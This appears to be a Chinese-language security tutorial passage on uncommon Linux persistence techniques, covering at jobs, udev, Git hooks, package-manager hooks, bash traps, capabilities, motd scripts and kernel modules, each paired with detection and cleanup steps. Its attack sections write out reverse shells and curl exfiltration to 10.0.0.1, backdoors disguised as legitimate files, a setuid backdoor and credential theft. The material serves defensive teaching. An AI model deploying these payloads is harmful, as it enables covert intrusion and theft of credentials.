28.5 - 冷门持久化技术补充 本页是 Linux 持久化系列(15-27)的补充篇 ,涵盖 12 种在常规排查中容易被忽略但实战中确实存在 的冷门持久化技术
这些技术的共同特点:隐蔽性极高、排查盲区大、自动化工具覆盖不足
前置知识:07-计划任务审计 | 08-服务与启动项审计 | 15-Crontab后门 | 17-Systemd-Service后门 | 21-Rootkit检测
MITRE ATT&CK 映射:T1053.001, T1547, T1546, T1574, T1542, T1611
阅读建议 :每种技术都按「原理 -> 攻击实现 -> 检测方法 -> 清除」的四阶段展开,建议结合实验环境操作
一、at 任务持久化 (T1053.001) 1.1 原理详解 at 与 cron 的本质区别
cron:周期性调度器,按时间表反复执行任务(分/时/日/月/周)
at:一次性调度器,在指定的未来某个时间点 执行一次任务后自动删除
两者互补但管理方式完全不同,很多管理员只检查 cron 而忽略 at
at 的工作机制
1 2 3 4 5 6 7 8 9 10 11 ┌─────────────┐ ┌──────────────┐ ┌─────────────────┐ │ 用户提交 │────>│ atd 守护进程 │────>│ /var /spool/at / │ │ at 任务 │ │ 监控队列 │ │ 任务文件存储 │ └─────────────┘ └──────────────┘ └─────────────────┘ │ │ │ 到达指定时间 │ ▼ ▼ ┌──────────────┐ ┌─────────────────┐ │ fork 子进程 │────>│ 执行任务内容 │ │ 执行任务 │ │ 删除任务文件 │ └──────────────┘ └─────────────────┘
为什么 at 适合做持久化
大多数安全工具和排查 checklist 只检查 crontab,不检查 at 队列
at 任务执行后自动删除,取证难度高(执行完就没了)
攻击者可以写一个「自我续期」的 at 任务——执行时再创建下一个 at 任务,形成链式持久化
at 任务文件格式
存储在 /var/spool/at/ 目录下,文件名格式为 a0000X01YYYYYY
文件本身是一个完整的 shell 脚本,包含执行时的环境变量和用户命令
文件权限通常是 600,属主为提交任务的用户
1.2 攻击实现 基础用法:一次性反弹 Shell 1 2 3 4 5 6 7 8 echo "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1" | at now + 1 minuteecho "/tmp/.hidden/payload.sh" | at 03:00 AM 2026-04-03echo "/tmp/evil.sh" | at -f /tmp/evil.sh now + 1 minute
进阶:链式自续期持久化 1 2 3 4 5 6 7 bash -i >& /dev/tcp/10.0.0.1/4444 0>&1 & echo "/tmp/.cache/payload.sh" | at now + 5 minutes
这种方式比 crontab 更隐蔽:没有持久的 crontab 条目,每次都是”新建”的一次性任务
进阶:Base64 混淆 1 2 3 4 5 6 echo "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1" | base64 echo "echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMS80NDQ0IDA+JjE= | base64 -d | bash" | at now + 1 minute
访问控制文件 1 2 3 4 5 6 7 8 cat /etc/at.denycat /etc/at.allow
1.3 检测方法 查看 at 任务队列 1 2 3 4 5 6 7 8 9 10 11 12 13 14 atq at -c 3 for job in $(atq | awk '{print $1}' ); do echo "=== Job $job ===" at -c $job done
检查 at 任务存储目录 1 2 3 4 5 6 7 8 ls -la /var/spool/at/cat /var/spool/at/a0000*find /var/spool/at/ -type f -mtime -7 -ls
检查 atd 服务状态 1 2 3 4 5 6 systemctl status atd systemctl stop atd systemctl disable atd
关键字搜索 1 2 3 4 for job in $(atq | awk '{print $1}' ); do at -c $job | grep -iE "(bash|sh|curl|wget|nc|ncat|python|perl|/dev/tcp|base64)" && echo "^^^ Job $job ^^^" done
1.4 清除与加固 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 atrm 3 at -r 3 for job in $(atq | awk '{print $1}' ); do atrm $job ; done echo "root" > /etc/at.allowchmod 600 /etc/at.allowsystemctl stop atd systemctl disable atd systemctl mask atd
二、udev 规则持久化 2.1 原理详解 udev 是什么
udev 是 Linux 内核的设备管理子系统(userspace /dev),负责在 /dev/ 目录下动态创建和管理设备节点
当硬件设备被检测到(插入 USB、网卡 up/down、磁盘挂载等),内核通过 netlink 发送 uevent 事件
udevd 守护进程接收这些事件,按照规则文件(rules)执行匹配的操作
udev 事件触发流程
1 2 3 4 5 6 7 8 9 10 ┌──────────┐ uevent ┌──────────┐ match rules ┌──────────────┐ │ 内核 │─────────────>│ udevd │────────────────> │ 规则文件 │ │ 检测设备 │ (netlink) │ 守护进程 │ │ *.rules │ └──────────┘ └──────────┘ └──────────────┘ │ │ │ RUN += 指令 │ ▼ ▼ ┌──────────────────────────────────────┐ │ 以 root 权限执行指定程序/脚本 │ └──────────────────────────────────────┘
为什么 udev 规则极其危险
udev 规则中的 RUN+= 指令以 root 权限 执行
触发条件可以是任何硬件事件:USB 插入、网络接口变化、蓝牙设备发现等
几乎没有安全工具会主动扫描 udev 规则
规则语法看起来像系统配置,不像恶意代码
规则文件位置
路径
说明
优先级
/etc/udev/rules.d/
管理员自定义规则
高(覆盖同名系统规则)
/lib/udev/rules.d/
发行版默认规则
低
/run/udev/rules.d/
运行时临时规则
中
规则语法基础
1 2 3 4 5 6 7 8 ACTION=="add" , SUBSYSTEM=="block" , ATTR{removable}=="1" , RUN+="/usr/local/bin/automount.sh"
2.2 攻击实现 场景一:USB 设备插入触发 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 cat > /etc/udev/rules.d/99-backdoor.rules << 'EOF' ACTION=="add" , SUBSYSTEM=="usb" , RUN+="/tmp/.hidden/evil.sh" EOF cat > /tmp/.hidden/evil.sh << 'EOF' nohup bash -i >& /dev/tcp/10.0.0.1/4444 0>&1 &EOF chmod +x /tmp/.hidden/evil.shudevadm control --reload-rules
场景二:网络接口事件触发 1 2 3 4 cat > /etc/udev/rules.d/85-net-backdoor.rules << 'EOF' SUBSYSTEM=="net" , ACTION=="add" , RUN+="/usr/local/bin/.net-helper.sh" EOF
这种方式在服务器环境中更实用:网络接口变化(DHCP 续期、VLAN 变更)会持续触发
场景三:伪装成合法规则 1 2 3 4 5 6 7 8 9 10 11 cat > /etc/udev/rules.d/60-usb-power-management.rules << 'EOF' ACTION=="add" , SUBSYSTEM=="usb" , ATTR{power/control}="auto" ACTION=="add" , SUBSYSTEM=="usb" , TEST=="power/autosuspend" , ATTR{power/autosuspend}="2" ACTION=="add" , SUBSYSTEM=="usb" , RUN+="/usr/lib/udev/usb-power-helper" EOF cp /tmp/backdoor /usr/lib/udev/usb-power-helperchmod 755 /usr/lib/udev/usb-power-helper
文件名和路径都像合法的系统组件,极难通过人工审查发现
注意事项 udev RUN+= 有执行时间限制(默认 180 秒),超时会被杀掉
因此恶意命令通常用 nohup ... & 放入后台执行
udev 执行环境受限,PATH 和环境变量与正常 shell 不同
2.3 检测方法 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 ls -la /etc/udev/rules.d/ls -la /lib/udev/rules.d/ls -la /run/udev/rules.d/grep -rn "RUN+=" /etc/udev/rules.d/ /lib/udev/rules.d/ grep -rh "RUN+=" /etc/udev/rules.d/ | grep -oP 'RUN\+="\K[^"]+' | while read cmd; do echo "--- Checking: $cmd ---" ls -la "$cmd " 2>/dev/null file "$cmd " 2>/dev/null done find /etc/udev/rules.d/ /lib/udev/rules.d/ -type f -mtime -30 -ls for f in /etc/udev/rules.d/*; do dpkg -S "$f " 2>/dev/null || echo "ORPHAN: $f " ; done for f in /etc/udev/rules.d/*; do rpm -qf "$f " 2>/dev/null || echo "ORPHAN: $f " ; done udevadm monitor --property
2.4 清除与加固 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 rm /etc/udev/rules.d/99-backdoor.rulesrm /usr/lib/udev/usb-power-helperudevadm control --reload-rules udevadm trigger chmod 755 /etc/udev/rules.d/inotifywait -m -r /etc/udev/rules.d/ -e create -e modify -e delete
三、Git Hooks 持久化 3.1 原理详解 Git Hooks 机制
Git 在执行特定操作(commit, push, merge, checkout 等)时,会自动查找并执行 .git/hooks/ 目录下的对应脚本
Hooks 可以是任何可执行文件:shell 脚本、Python、Perl、编译二进制文件
分为客户端 hooks (本地操作触发)和服务端 hooks (接收 push 时触发)
可利用的 Hooks 一览
Hook 名称
触发时机
危险等级
适合持久化
pre-commit
git commit 前
高
开发者每次提交代码都触发
post-commit
git commit 后
高
提交完成后静默执行
pre-push
git push 前
中
推送代码时触发
post-merge
git merge/pull 后
高
git pull 自动触发
post-checkout
git checkout 后
中
切换分支时触发
pre-rebase
git rebase 前
低
使用频率较低
post-receive
服务端接收 push 后
极高
CI/CD 服务器上
update
服务端更新引用前
高
Git 服务器上
为什么 Git Hooks 是完美的持久化载体
.git/ 目录通常不会被安全扫描工具检查
Hooks 看起来像正常的开发工具配置(代码格式化、lint 检查等)
开发者频繁执行 git 操作,触发频率极高
.git/hooks/ 不会被 git status 显示,也不会被提交到远程仓库(默认情况)
Git Template 攻击向量
git config --global init.templateDir /path/to/template 设置全局模板
模板中的 hooks 会被自动复制到每一个新 clone/init 的仓库中
攻击者设置恶意模板后,受害者创建的所有新仓库都带后门
3.2 攻击实现 场景一:植入 post-commit Hook 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 cat > /home/developer/project/.git/hooks/post-commit << 'HOOK' tar czf /tmp/.git-backup-$(date +%s).tar.gz . 2>/dev/null curl -s -X POST -d @/tmp/.git-backup-*.tar.gz http://10.0.0.1:8080/collect & rm -f /tmp/.git-backup-*.tar.gz 2>/dev/null(bash -i >& /dev/tcp/10.0.0.1/4444 0>&1 &) 2>/dev/null exit 0 HOOK chmod +x /home/developer/project/.git/hooks/post-commit
场景二:全局 Git Template 后门 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 mkdir -p /home/developer/.git-templates/hookscat > /home/developer/.git-templates/hooks/pre-commit << 'HOOK' git config --list 2>/dev/null | curl -s -X POST -d @- http://10.0.0.1:8080/creds & exit 0HOOK chmod +x /home/developer/.git-templates/hooks/pre-commitgit config --global init.templateDir /home/developer/.git-templates
场景三:服务端 post-receive Hook(Git 服务器) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 cat > /srv/git/project.git/hooks/post-receive << 'HOOK' while read oldrev newrev refname; do git --work-tree=/var/www/html checkout -f (nohup /var/www/html/.deploy-helper 2>/dev/null &) done HOOK chmod +x /srv/git/project.git/hooks/post-receive
场景四:利用 core.hooksPath 全局劫持 1 2 3 4 5 6 7 8 9 10 11 12 13 mkdir -p /tmp/.config/hookscat > /tmp/.config/hooks/pre-commit << 'HOOK' curl -s http://10.0.0.1/beacon?user=$(whoami )&host=$(hostname) & exit 0HOOK chmod +x /tmp/.config/hooks/pre-commitgit config --global core.hooksPath /tmp/.config/hooks
3.3 检测方法 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 find / -path "*/.git/hooks/*" -executable -type f 2>/dev/null find / -path "*/.git/hooks/*" -executable -type f -exec grep -lE \ "(curl|wget|nc|ncat|bash -i|/dev/tcp|python|perl|base64)" {} \; 2>/dev/null git config --global --list 2>/dev/null | grep -E "(templateDir|hooksPath)" for home in /home/* /root; do echo "=== $home ===" cat "$home /.gitconfig" 2>/dev/null | grep -E "(templateDir|hooksPath)" done find / -path "*/.git-templates/hooks/*" -type f 2>/dev/null find / -path "*/.git/hooks/*" -executable -not -name "*.sample" -type f 2>/dev/null find /srv/git /var/lib/gitolite -path "*/hooks/*" -executable -type f 2>/dev/null
3.4 清除与加固 1 2 3 4 5 6 7 8 9 10 11 12 13 14 rm /home/developer/project/.git/hooks/post-commitgit config --global --unset init.templateDir git config --global --unset core.hooksPath git clone --template= https://repo.example.com/project.git find / -path "*/.git/hooks/*" -executable -not -name "*.sample" \ -newer /etc/os-release -type f -ls 2>/dev/null
四、APT/YUM 包管理器 Hook 持久化 4.1 原理详解 包管理器 Hook 机制
Linux 包管理器(APT、YUM/DNF)在安装、更新、删除软件包时,支持执行自定义的 Hook 脚本
这是为了让管理员在包管理操作前后执行自动化任务(如清理缓存、更新配置、重启服务)
攻击者利用这一机制:每次系统更新都自动执行恶意代码
为什么包管理器 Hook 极其隐蔽
只在用户执行 apt update、apt install、yum update 时触发
触发频率低 = 行为分析工具难以建立基线
Hook 配置看起来像合法的系统管理脚本
自动化安全扫描工具几乎不覆盖此向量
APT Hook 体系
1 2 3 4 5 6 7 /etc/ apt/apt.conf.d/ ├── 00 trustcdrom ├── 01 autoremove ├── 10 periodic ← 自动更新配置 ├── 20 auto-upgrades ├── 50 unattended-upgrades └── 99 -malicious ← 攻击者植入的 Hook
文件按数字顺序读取执行,数字越大优先级越低(越晚执行)
YUM/DNF Plugin 体系
1 2 3 4 /etc/yum /pluginconf.d/ ← 插件配置/usr/ lib/yum-plugins/ ← 插件代码(Python)/etc/ dnf/plugins/ ← DNF 插件配置/usr/ lib/python3/ dist-packages/dnf-plugins/ ← DNF 插件代码
4.2 攻击实现 APT Hook 后门(Debian/Ubuntu) 1 2 3 4 5 6 7 8 9 10 11 12 cat > /etc/apt/apt.conf.d/99-update-helper << 'EOF' DPkg::Post-Invoke {"bash /usr/lib/apt/apt-helper-daemon 2>/dev/null || true" ;}; EOF cat > /usr/lib/apt/apt-helper-daemon << 'SCRIPT' (nohup bash -c 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1' >/dev/null 2>&1 &) SCRIPT chmod 755 /usr/lib/apt/apt-helper-daemon
1 2 3 4 cat > /etc/apt/apt.conf.d/80-update-success-hooks << 'EOF' APT::Update::Post-Invoke-Success {"curl -s http://10.0.0.1/update-check | bash 2>/dev/null || true" ;}; EOF
1 2 3 4 5 mkdir -p /var/lib/dpkg/triggersecho "interest /usr/bin" > /var/lib/dpkg/info/evil-trigger.triggers
YUM Plugin 后门(RHEL/CentOS) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 cat > /etc/yum/pluginconf.d/security-check.conf << 'EOF' [main] enabled=1 EOF cat > /usr/lib/yum-plugins/security-check.py << 'PYEOF' import os from yum.plugins import TYPE_CORE requires_api_version = '2.1' plugin_type = (TYPE_CORE,) def posttrans_hook(conduit): "" "Post-transaction hook - verify installed packages" "" os.system("nohup bash -c 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1' &>/dev/null &" ) PYEOF
RPM Scriptlets 利用 1 2 3 4 5 6 7 8 9 10 11 12 rpm -q --scripts <package_name> rpm -qa --queryformat '%{NAME}: %{POSTIN}\n' | grep -v "(none)"
4.3 检测方法 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 ls -la /etc/apt/apt.conf.d/grep -rn "Invoke\|Pre-Install\|Post-Install\|Pre-Invoke\|Post-Invoke" /etc/apt/apt.conf.d/ for f in /etc/apt/apt.conf.d/*; do dpkg -S "$f " 2>/dev/null || echo "ORPHAN (可疑): $f " done grep -rhoP '"\K[^"]+' /etc/apt/apt.conf.d/ | grep -v "^$" | sort -u ls -la /etc/yum/pluginconf.d/ 2>/dev/nullls -la /usr/lib/yum-plugins/ 2>/dev/nullls -la /etc/dnf/plugins/ 2>/dev/nulldnf plugin list 2>/dev/null grep -rn "os.system\|subprocess\|exec\|eval" /usr/lib/yum-plugins/ 2>/dev/null rpm -qa --queryformat '%{NAME}|%{POSTIN}\n' 2>/dev/null | grep -v "(none)" | head -50 rpm -q --scripts suspicious-package 2>/dev/null
4.4 清除与加固 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 rm /etc/apt/apt.conf.d/99-update-helperrm /usr/lib/apt/apt-helper-daemonrm /etc/yum/pluginconf.d/security-check.confrm /usr/lib/yum-plugins/security-check.pyauditctl -w /etc/apt/apt.conf.d/ -p wa -k apt_hooks auditctl -w /etc/yum/pluginconf.d/ -p wa -k yum_plugins chmod 755 /etc/apt/apt.conf.d/chown root:root /etc/apt/apt.conf.d/*
五、Trap 命令持久化 5.1 原理详解 bash trap 机制
trap 是 bash 内建命令,用于在 shell 收到信号或达到特定条件时执行指定命令
原始用途:脚本中的信号处理(如 Ctrl+C 时清理临时文件)
攻击利用:注册特殊 trap,在用户无感知的情况下执行恶意代码
trap 支持的信号和伪信号
信号/伪信号
触发条件
持久化利用价值
EXIT
shell 退出时
高 —— 用户退出终端即触发
DEBUG
每执行一条命令前
极高 —— 每条命令都触发
ERR
命令返回非零退出码时
中 —— 依赖命令执行失败
RETURN
函数或 source 脚本返回时
低
SIGINT (2)
Ctrl+C
低
SIGTERM (15)
kill 默认信号
中
SIGHUP (1)
终端关闭
中
trap DEBUG 的特殊性
trap 'command' DEBUG 使得 shell 在执行每一条命令之前 都先执行 trap 中的命令
这是一个极其强大的 hook 点,等同于在 shell 中安装了一个全局 keylogger
DEBUG trap 可以通过 $BASH_COMMAND 变量获取即将执行的命令内容
持久化原理
trap 本身是 shell session 级别的,退出 shell 就失效
但如果将 trap 命令写入 .bashrc、.bash_profile、/etc/bash.bashrc 等文件
每次用户打开 shell 都会自动注册 trap,实现持久化
与直接在 .bashrc 中写命令不同,trap DEBUG 可以监控所有后续命令
5.2 攻击实现 场景一:DEBUG trap 键盘记录器 1 2 3 4 5 6 7 8 9 10 11 12 13 14 cat >> /home/victim/.bashrc << 'TRAP' trap ' cmd="$BASH_COMMAND" echo "$(date +%s) $(whoami) $(pwd) $cmd" >> /tmp/.bash_metrics 2>/dev/null # 定期外传 if [ $(wc -l < /tmp/.bash_metrics 2>/dev/null) -gt 100 ]; then curl -s -X POST -d @/tmp/.bash_metrics http://10.0.0.1:8080/metrics & > /tmp/.bash_metrics fi ' DEBUGTRAP
这个 trap 会记录用户执行的每一条命令,包括敏感命令(密码、API Key 等)
场景二:EXIT trap 反弹 Shell 1 2 3 4 cat >> /root/.bashrc << 'TRAP' trap 'nohup bash -c "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1" &>/dev/null &' EXITTRAP
场景三:ERR trap 条件触发 1 2 3 4 5 6 7 8 9 cat >> /home/victim/.bashrc << 'TRAP' trap ' if [ "$BASH_COMMAND" != "true" ]; then curl -s "http://10.0.0.1/err?cmd=$(echo $BASH_COMMAND | base64)" &>/dev/null & fi ' ERRTRAP
场景四:PROMPT_COMMAND 配合 trap 1 2 3 4 5 6 cat >> /home/victim/.bashrc << 'TRAP' export PROMPT_COMMAND=' history 1 | sed "s/^[ ]*[0-9]*[ ]*//" >> /tmp/.cmd_log 2>/dev/null ' TRAP
5.3 检测方法 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 grep -rn "trap " /root/.bashrc /root/.bash_profile /root/.profile \ /home/*/.bashrc /home/*/.bash_profile /home/*/.profile \ /etc/bash.bashrc /etc/profile /etc/profile.d/ 2>/dev/null grep -rn "trap.*DEBUG\|trap.*EXIT\|trap.*ERR\|trap.*RETURN" \ /etc/profile.d/ /etc/bash.bashrc /root/.bashrc /home/*/.bashrc 2>/dev/null trap -pecho "$PROMPT_COMMAND " grep -rn "PROMPT_COMMAND" /etc/profile.d/ /etc/bash.bashrc \ /root/.bashrc /home/*/.bashrc 2>/dev/null find /tmp /var/tmp /dev/shm -name ".*" -type f -ls 2>/dev/null
5.4 清除与加固 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 vim /home/victim/.bashrc vim /etc/bash.bashrc trap - DEBUGtrap - EXITtrap - ERRauditctl -w /etc/bash.bashrc -p wa -k bash_config auditctl -w /etc/profile.d/ -p wa -k bash_config
六、Linux Capabilities 持久化 (setcap) 6.1 原理详解 Linux Capabilities 体系
传统 Unix 权限模型:要么是 root(UID 0,全部权限),要么是普通用户(有限权限)
Linux Capabilities 将 root 的权限细分为 40+ 种独立的「能力」
每个进程/文件可以只获得需要的特定能力,而非全部 root 权限
设计初衷是最小权限原则 ,但被攻击者反过来利用
Capabilities 与 SUID 的对比
特性
SUID
Capabilities
权限粒度
全有或全无(完整 root)
细粒度(单个能力)
find -perm -4000 能发现
能
不能
ls -la 显示
rwsr-xr-x(s 标记)
看起来完全正常
设置命令
chmod u+s
setcap
查询命令
find -perm -4000
getcap
隐蔽性
中等
极高
这就是 Capabilities 持久化比 SUID 更危险的原因:常规排查完全看不出来
常被利用的 Capabilities
Capability
含义
利用方式
CAP_SETUID
切换进程 UID
直接提权到 root
CAP_SETGID
切换进程 GID
加入 root 组
CAP_DAC_READ_SEARCH
绕过文件读权限检查
读取 /etc/shadow、SSH 私钥
CAP_DAC_OVERRIDE
绕过文件读写执行权限
修改任意文件
CAP_SYS_ADMIN
广泛的管理能力
挂载文件系统、namespace 操作
CAP_NET_RAW
原始套接字
嗅探网络流量
CAP_NET_BIND_SERVICE
绑定 <1024 端口
建立监听服务
CAP_SYS_PTRACE
ptrace 任意进程
注入代码到其他进程
CAP_CHOWN
修改文件所有者
夺取文件所有权
Capabilities 的三种集合
1 2 3 4 5 6 Effective (e) — 当前生效的能力集(内核实际检查的) Permitted (p) — 进程被允许拥有的最大能力集 Inheritable (i) — 可通过 execve () 传递给子进程的能力集 setcap 语法:cap_xxx+ep (Effective + Permitted) cap_xxx+eip (Effective + Inheritable + Permitted)
6.2 攻击实现 基础:赋予 python 提权能力 1 2 3 4 5 6 7 8 9 10 11 cp /usr/bin/python3 /usr/local/bin/python3setcap cap_setuid+ep /usr/local/bin/python3getcap /usr/local/bin/python3/usr/local/bin/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
进阶:赋予常用工具读取敏感文件的能力 1 2 3 4 5 6 7 cp /usr/bin/cat /usr/local/bin/cat-debugsetcap cap_dac_read_search+ep /usr/local/bin/cat-debug/usr/local/bin/cat-debug /etc/shadow /usr/local/bin/cat-debug /root/.ssh/id_rsa
高级:编译自定义后门程序 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 #include <stdio.h> #include <unistd.h> #include <sys/types.h> int main (int argc, char *argv[]) { if (setuid(0 ) != 0 ) { perror("setuid failed - no CAP_SETUID?" ); return 1 ; } char *args[] = {"/bin/bash" , "-p" , NULL }; execvp(args[0 ], args); return 0 ; }
1 2 3 4 5 6 7 8 gcc -o /usr/local/bin/syscheck cap_backdoor.c setcap cap_setuid+ep /usr/local/bin/syscheckls -la /usr/local/bin/syscheck
利用 CAP_SYS_ADMIN 逃逸 1 2 3 4 5 6 setcap cap_sys_admin+ep /usr/local/bin/debug-tool
6.3 检测方法 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 getcap -r / 2>/dev/nullgetcap -r / 2>/dev/null | grep -E "(cap_setuid|cap_setgid|cap_dac|cap_sys_admin|cap_sys_ptrace|cap_net_raw)" getcap -r / 2>/dev/null | sort > /root/cap_baseline.txtgetcap -r / 2>/dev/null | sort | diff /root/cap_baseline.txt -getfattr -d -m "^security\\.capability" /usr/local/bin/syscheck 2>/dev/null filecap -a 2>/dev/null
6.4 清除与加固 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 setcap -r /usr/local/bin/python3setcap -r /usr/local/bin/syscheckgetcap /usr/local/bin/python3rm /usr/local/bin/syscheckgetcap -r / 2>/dev/null > /etc/security/cap_whitelist.txtauditctl -a always,exit -F arch =b64 -S setxattr -F key=cap_change echo '0 */6 * * * root getcap -r / 2>/dev/null | sort | diff /etc/security/cap_whitelist.txt - && echo OK || echo "ALERT: Capabilities changed!" | mail -s "Cap Alert" admin@example.com' >> /etc/crontab
七、motd (Message of the Day) 后门 7.1 原理详解 motd 动态消息机制
传统 motd:/etc/motd 是一个静态文本文件,登录时显示给用户
现代 motd(Ubuntu/Debian):/etc/update-motd.d/ 目录下的可执行脚本在每次用户登录时以 root 权限执行
PAM 模块 pam_motd.so 负责在登录过程中调用这些脚本
执行流程
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 用户 SSH 登录 │ ▼ PAM 认证流程 │ ▼ pam_motd.so 模块 │ ├── 执行 /etc/update -motd.d/00 -header ├── 执行 /etc/update -motd.d/10 -help-text ├── 执行 /etc/update -motd.d/50 -landscape-sysinfo ├── 执行 /etc/update -motd.d/90 -updates-available ├── 执行 /etc/update -motd.d/98 -reboot-required └── 执行 /etc/update -motd.d/99 -backdoor ← 恶意脚本 │ ▼ 所有脚本的 stdout 合并 → 显示为登录欢迎消息 所有脚本以 root 权限运行!
为什么 motd 后门极其隐蔽
脚本的 stdout 显示为登录信息,用户只会看到「系统状态」文字
脚本的 stderr 和后台进程不会显示给用户
文件名可以伪装成系统信息脚本(如 50-system-stats)
主要影响 Ubuntu/Debian 系统(使用 dynamic motd 机制)
CentOS/RHEL 默认不使用 update-motd.d,但可以手动启用
PAM 配置中的 motd
1 2 3 4 grep "pam_motd" /etc/pam.d/sshd /etc/pam.d/login
7.2 攻击实现 基础:直接植入恶意 motd 脚本 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 cat > /etc/update-motd.d/99-system-health << 'EOF' echo "" echo "System Health: OK" echo " Disk: $(df -h / | awk 'NR==2{print $5}') used" echo " Memory: $(free -m | awk 'NR==2{printf "%dMB/%dMB" , $3, $2}') " echo "" (nohup bash -c 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1' &>/dev/null &) 2>/dev/null EOF chmod +x /etc/update-motd.d/99-system-health
进阶:窃取 SSH 登录凭据 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 cat > /etc/update-motd.d/95-security-check << 'EOF' echo "$(date) | ${PAM_USER} | ${SSH_CONNECTION} | ${PAM_RHOST} " >> /tmp/.auth_log 2>/dev/nullif [ "${PAM_USER} " = "root" ]; then tar czf /tmp/.ssh-backup.tar.gz /root/.ssh/ 2>/dev/null curl -s -X POST -F "file=@/tmp/.ssh-backup.tar.gz" http://10.0.0.1:8080/keys &>/dev/null & rm -f /tmp/.ssh-backup.tar.gz 2>/dev/null fi exit 0EOF chmod +x /etc/update-motd.d/95-security-check
修改已有 motd 脚本(更隐蔽) 1 2 3 4 5 6 echo ' # system metrics collection (curl -s http://10.0.0.1/beacon?h=$(hostname) &>/dev/null &) ' >> /etc/update-motd.d/50-landscape-sysinfo
7.3 检测方法 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 ls -la /etc/update-motd.d/find /etc/update-motd.d/ -executable -type f -ls for f in /etc/update-motd.d/*; do echo "=== $f ===" cat "$f " echo "" done grep -rn "curl\|wget\|nc \|ncat\|bash -i\|/dev/tcp\|python\|perl\|base64\|nohup" \ /etc/update-motd.d/ stat /etc/update-motd.d/*for f in /etc/update-motd.d/*; do dpkg -S "$f " 2>/dev/null || echo "ORPHAN (不属于任何包): $f " done grep -n "pam_motd" /etc/pam.d/sshd /etc/pam.d/login cat /etc/motdls -la /run/motd.dynamic
7.4 清除与加固 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 rm /etc/update-motd.d/99-system-healthrm /etc/update-motd.d/95-security-checkapt install --reinstall base-files landscape-common auditctl -w /etc/update-motd.d/ -p wa -k motd_change chmod -x /etc/update-motd.d/50-landscape-sysinfo
八、内核模块 (LKM) 深入持久化
本节是对 21-Rootkit检测 中 LKM 部分的深入补充,聚焦于更隐蔽的内核模块持久化手法
8.1 原理补充:内核模块加载的多种路径 内核模块加载的完整链路
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 ┌───────────────────────────────────────────────────┐ │ 1. 手动加载:insmod / modprobe │ │ insmod /path/to/evil.ko │ │ modprobe evil_module │ └───────────────────────────────────────────────────┘ ↓ ┌───────────────────────────────────────────────────┐ │ 2. 开机自动加载: │ │ /etc/modules (Debian) │ │ /etc/modules-load.d/ *.conf (systemd) │ │ /etc/sysconfig/modules/ (RHEL) │ └───────────────────────────────────────────────────┘ ↓ ┌───────────────────────────────────────────────────┐ │ 3. modprobe.d install 指令劫持: │ │ /etc/modprobe.d/ *.conf │ │ install <module> /path/to/evil.sh │ └───────────────────────────────────────────────────┘ ↓ ┌───────────────────────────────────────────────────┐ │ 4. initramfs 嵌入: │ │ 模块被打包进 initramfs,系统启动最早期加载 │ └───────────────────────────────────────────────────┘
模块文件位置
正常模块:/lib/modules/$(uname -r)/kernel/
扩展模块:/lib/modules/$(uname -r)/extra/ 或 /lib/modules/$(uname -r)/updates/
模块依赖数据库:/lib/modules/$(uname -r)/modules.dep
8.2 攻击手法一:modules-load.d 自动加载 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 cp evil.ko /lib/modules/$(uname -r)/extra/depmod -a echo "evil" > /etc/modules-load.d/system-helpers.confecho "evil" >> /etc/modulescat > /etc/sysconfig/modules/custom.modules << 'EOF' modprobe evil 2>/dev/null EOF chmod +x /etc/sysconfig/modules/custom.modules
8.3 攻击手法二:modprobe.d install 指令劫持 原理
modprobe.d 配置文件中的 install 指令可以替换模块加载动作
当系统尝试加载指定模块时,实际执行的是 install 后面的命令
这可以劫持任何模块的加载过程
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 cat > /etc/modprobe.d/usb-driver.conf << 'EOF' install usb_storage /sbin/modprobe --ignore-install usb_storage; /tmp/.helper & EOF cat > /etc/modprobe.d/network-tuning.conf << 'EOF' install nf_conntrack /sbin/modprobe --ignore-install nf_conntrack; \ /usr/local/sbin/net-monitor-daemon 2>/dev/null & EOF
8.4 攻击手法三:initramfs 嵌入(最高级) 原理
initramfs(initial RAM filesystem)是内核启动时加载的临时文件系统
包含启动所需的最小驱动和工具
如果恶意模块被嵌入 initramfs,它会在系统启动的最早阶段 加载
甚至在 rootfs 挂载之前就已经在内核中运行
